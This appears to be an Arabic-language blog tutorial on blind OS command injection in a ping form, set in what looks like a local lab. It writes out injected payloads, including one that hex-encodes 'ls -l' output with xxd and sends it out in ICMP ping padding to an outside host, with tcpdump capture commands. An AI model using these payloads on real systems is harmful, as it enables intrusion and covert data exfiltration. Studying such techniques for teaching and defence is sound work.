Blind OS Command Execution-OUT OF BAND

السلام عليكم ورحمة وبركاته

اللهم صل وسلم على سيدنا محمد وعلى آله وصحبة اجمعين

اللهم لا علم لنا الا ماعلمتنا انك انت العليم الحكيم

اليوم راح اتكلم عن

Blind Remote Code Execution

 

النوع هذا من الثغرات شبيه بثغرات Remote Code Execution والاختلاف الوحيد بان الناتج لا يعرض على الصفحة 

ولو فرضنا عندنا موقع بالشكل التالي 

الموقع يقوم بعمل ping للاي ابي اللي تكتبه وفيه ثغرة RCE ولكن للاسف المخرجات ماهي باينة 

في الحالة هذي لابد لنا من التنصت على المودم وعمل بنق لجهازنا عشان نعرف اذا الثغرة موجودة او لا 

نشوف 

اول مانقوم به هو عملية التنصت 

tcpdump -i vboxnet0 -n icmp

الاداة tcpdump تقوم بالتنصت على البيانات المرسلة والمستقبل على المودم vboxnet0 واستخدمنا n- عشان مايتم تحويل العنواين الى اسماء وبالاخير اخترنا البروتوكول icmp اللي يستخدمه الامر ping 

الان بعد ماشغلنا التنصت وصار جاهز نرجع نسوي بنق للاي بي تبعنا ونشوف النتيجة 

الامر المستخدم هو 

addr=127.0.0.1; ping -c 4 192.168.56.1

والنتيجة على tcpdump 

طبعا الخيار c- في الامر ping يحدد لنا عدد مرات البنق وهنا اخترنا 4 مرات

الان تاكدنا من ان الموقع مصاب بثغرة Blind Remote Code Execution

طيب الان ناخذ الاستغلال للخطوة الثانية

الان بما ان الموقع مانقدر نسوي منه شي الا عن طريق البروتوكول icmp لابد لنا من استخدام الامر ping لانه هو الوحيد اللي يستخدم البروتوكول هذا

الان هدفنا هو تمرير الامر خلال البروتوكول icmp للامر ping

الان لو نقرا المانويل تبع البينق man ping راح نجي للخيار p- اللي ينص على التالي

-p pattern
You may specify up to 16 ’’pad’’ bytes to fill out the packet you send. This is useful for
diagnosing data-dependent problems in a network. For example, -p ff will cause the sent packet to be
filled with all ones.
يعني بالامكان تغذية البينق بالخيار هذا بالبايتات اللي نبيها والشرط انها تكون 16 بايت كحد اقصى
يعني لو قدرنا نحول مخرجات الامر اللي نبيه الى هيكس وبعدها نغذيها للامر ping نقدر نستخلص الناتج 
فيه اداة في لينكس اسمها xxd تقوم بالتحويل من الهكس والعكس 
نشوف ناتج الامر النهائي 
addr=127.0.0.1; hex=$(ls -l | xxd -ps -c 16); for word in $hex; do ping 192.168.127.101 -c 1 -s 32 -p
$word; done
الان الامر اللي نبيه هو ls -l مثل ماهو واضح وحطيته بين قوسين ليكون متغير بعدين خليته يمر على الامر xxd 
واستخدمت الخيارين الاول ps- وهو لتحويله الى هكس خالص بعدين حطيته على 16 وهو العواميد c- عشان مثل ماقلنا الخيار p- في بينق اكثر مايرسل 16 بايت والامر هذا يعطي سطر جديد بعد كل سطر من 16 بايت
بعدين لوب بسيط باللينكس يخلينا نرسل  كل 16 بايت لحالها 

نشوف النتيجة النهائية 


 استخدمت الامر 

tcpdump -i vboxnet0 -n icmp -X -w /tmp/packet.pac

الاضافة كانت X- عشان نشوف محتوى الباكج و w- عشان نصدر الملف 

الان نفتح الملف ونشوف وش الناتج


وهذي هي النتيجة علما بان الصفحة debug.php هي الصفحة اللي فيها الثغرة 

يعني الطريقة كفيلة باستخراج المعلومات وتطبيق الاوامر 

الى هنا ينتهي الدرس 

ان اخطات فمن نفسي والشيطان وان اصبت فمن الله وحده 

لا تنسوني من دعائكم 

تعليقات

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Study in Nosql-Injection-Mongodb